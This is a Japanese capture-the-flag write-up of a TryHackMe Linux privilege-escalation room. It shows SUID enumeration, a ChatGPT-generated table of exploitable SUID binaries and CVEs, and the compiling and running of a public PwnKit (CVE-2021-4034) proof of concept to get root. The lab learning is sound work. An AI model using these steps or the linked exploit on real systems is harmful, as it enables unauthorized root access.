TryHackMeのLinux Privilege Escalation Task12のWriteup。
解き終わった後に他の人のWriteupを読んだらこの解き方は出なかったので、備忘録として記載。
SUIDが設定されたファイルを探す。
[leonard@ip-10-10-221-19 ~]$ find / -type f -perm -04000 -ls 2>/dev/null 16779966 40 -rwsr-xr-x 1 root root 37360 Aug 20 2019 /usr/bin/base64 17298702 60 -rwsr-xr-x 1 root root 61320 Sep 30 2020 /usr/bin/ksu 17261777 32 -rwsr-xr-x 1 root root 32096 Oct 30 2018 /usr/bin/fusermount 17512336 28 -rwsr-xr-x 1 root root 27856 Apr 1 2020 /usr/bin/passwd 17698538 80 -rwsr-xr-x 1 root root 78408 Aug 9 2019 /usr/bin/gpasswd 17698537 76 -rwsr-xr-x 1 root root 73888 Aug 9 2019 /usr/bin/chage 17698541 44 -rwsr-xr-x 1 root root 41936 Aug 9 2019 /usr/bin/newgrp 17702679 208 ---s--x--- 1 root stapusr 212080 Oct 13 2020 /usr/bin/staprun 17743302 24 -rws--x--x 1 root root 23968 Sep 30 2020 /usr/bin/chfn 17743352 32 -rwsr-xr-x 1 root root 32128 Sep 30 2020 /usr/bin/su 17743305 24 -rws--x--x 1 root root 23880 Sep 30 2020 /usr/bin/chsh 17831141 2392 -rwsr-xr-x 1 root root 2447304 Apr 1 2020 /usr/bin/Xorg 17743338 44 -rwsr-xr-x 1 root root 44264 Sep 30 2020 /usr/bin/mount 17743356 32 -rwsr-xr-x 1 root root 31984 Sep 30 2020 /usr/bin/umount 17812176 60 -rwsr-xr-x 1 root root 57656 Aug 9 2019 /usr/bin/crontab 17787689 24 -rwsr-xr-x 1 root root 23576 Apr 1 2020 /usr/bin/pkexec 18382172 52 -rwsr-xr-x 1 root root 53048 Oct 30 2018 /usr/bin/at 20386935 144 ---s--x--x 1 root root 147336 Sep 30 2020 /usr/bin/sudo 34469385 12 -rwsr-xr-x 1 root root 11232 Apr 1 2020 /usr/sbin/pam_timestamp_check 34469387 36 -rwsr-xr-x 1 root root 36272 Apr 1 2020 /usr/sbin/unix_chkpwd 36070283 12 -rwsr-xr-x 1 root root 11296 Oct 13 2020 /usr/sbin/usernetctl 35710927 40 -rws--x--x 1 root root 40328 Aug 9 2019 /usr/sbin/userhelper 38394204 116 -rwsr-xr-x 1 root root 117432 Sep 30 2020 /usr/sbin/mount.nfs 958368 16 -rwsr-xr-x 1 root root 15432 Apr 1 2020 /usr/lib/polkit-1/polkit-agent-helper-1 37709347 12 -rwsr-xr-x 1 root root 11128 Oct 13 2020 /usr/libexec/kde4/kpac_dhcp_helper 51455908 60 -rwsr-x--- 1 root dbus 57936 Sep 30 2020 /usr/libexec/dbus-1/dbus-daemon-launch-helper 17836404 16 -rwsr-xr-x 1 root root 15448 Apr 1 2020 /usr/libexec/spice-gtk-x86_64/spice-client-glib-usb-acl-helper 18393221 16 -rwsr-xr-x 1 root root 15360 Oct 1 2020 /usr/libexec/qemu-bridge-helper 37203442 156 -rwsr-x--- 1 root sssd 157872 Oct 15 2020 /usr/libexec/sssd/krb5_child 37203771 84 -rwsr-x--- 1 root sssd 82448 Oct 15 2020 /usr/libexec/sssd/ldap_child 37209171 52 -rwsr-x--- 1 root sssd 49592 Oct 15 2020 /usr/libexec/sssd/selinux_child 37209165 28 -rwsr-x--- 1 root sssd 27792 Oct 15 2020 /usr/libexec/sssd/proxy_child 18270608 16 -rwsr-sr-x 1 abrt abrt 15344 Oct 1 2020 /usr/libexec/abrt-action-install-debuginfo-to-abrt-cache 18535928 56 -rwsr-xr-x 1 root root 53776 Mar 18 2020 /usr/libexec/flatpak-bwrap
悪用できる可能性がありそうなものをChatGPTに聞いてみる。
上記の出力結果を投げて、SUID権限昇格のリスクがある候補を出すよう依頼した結果が以下。
バイナリパス | 説明・リスク要因 |
---|---|
/usr/bin/pkexec | 高リスク。2022年に報告された「PwnKit(CVE-2021-4034)」が有名。古いバージョンでroot取得可能。 |
/usr/bin/sudo | バージョン依存で危険。CVE-2021-3156(バッファオーバーフロー)など有名な脆弱性あり。 |
/usr/bin/Xorg | CVE-2018-14665(Xorg -logfile オプションで任意ファイル上書き → root権限獲得)など。古いバージョンは要注意。 |
/usr/bin/fusermount | 一部の古いバージョンでユーザーにroot権限を渡す問題あり(mount操作の権限昇格)。 |
/usr/lib/polkit-1/polkit-agent-helper-1 | pkexec と組み合わせて使われることがある。バージョン確認すべき。 |
/usr/libexec/dbus-1/dbus-daemon-launch-helper | 所有者root かつグループdbus で制限されているが、過去にRace Condition等のリスクが議論されたことあり。 |
/usr/libexec/flatpak-bwrap | flatpak に関するSUIDで、コンテナの境界突破などの研究あり。古いバージョンや設定ミスは要確認。 |
上から順に確認していく。
まずはpkexecのバージョン確認。
[leonard@ip-10-10-221-19 ~]$ pkexec --version pkexec version 0.112
脆弱性がどのバージョンで塞がれたのか調べてもヒットしなかったが、このバージョンは結構古いし多分使えそう。
攻撃してみたほうが速いので実際にやってみる。
Github上にPoCがあったので拝借。
https://github.com/arthepsy/CVE-2021-4034
ターゲットマシン上でexploit.cというファイルを作って、PoCをコピペ、コンパイル、実行。
するとrootが取れた。
[leonard@ip-10-10-221-19 ~]$ gcc exploit.c -o exploit [leonard@ip-10-10-221-19 ~]$ ./exploit sh-4.2#
rootが取れたので後はファイルを探しておしまい。
sh-4.2# find / -type f -name flag1.txt /home/missy/Documents/flag1.txt sh-4.2# find / -type f -name flag2.txt /home/rootflag/flag2.txt sh-4.2# cat /home/missy/Documents/flag1.txt THM-************** sh-4.2# cat /home/rootflag/flag2.txt THM-**************
出題者がflag1とflag2を用意した意図が不明だったので他の人のWriteupを調べたところ、
SUIDが付与されたbase64を使ってパスワードクラックを行い、missyとしてログインしてからrootに昇格するのが本来の解き方らしい。
このroomが作成された時点ではPwnKit(CVE-2021-4034)が報告される前だったようなので、
いきなりrootへ昇格するのは想定してなかったのかな?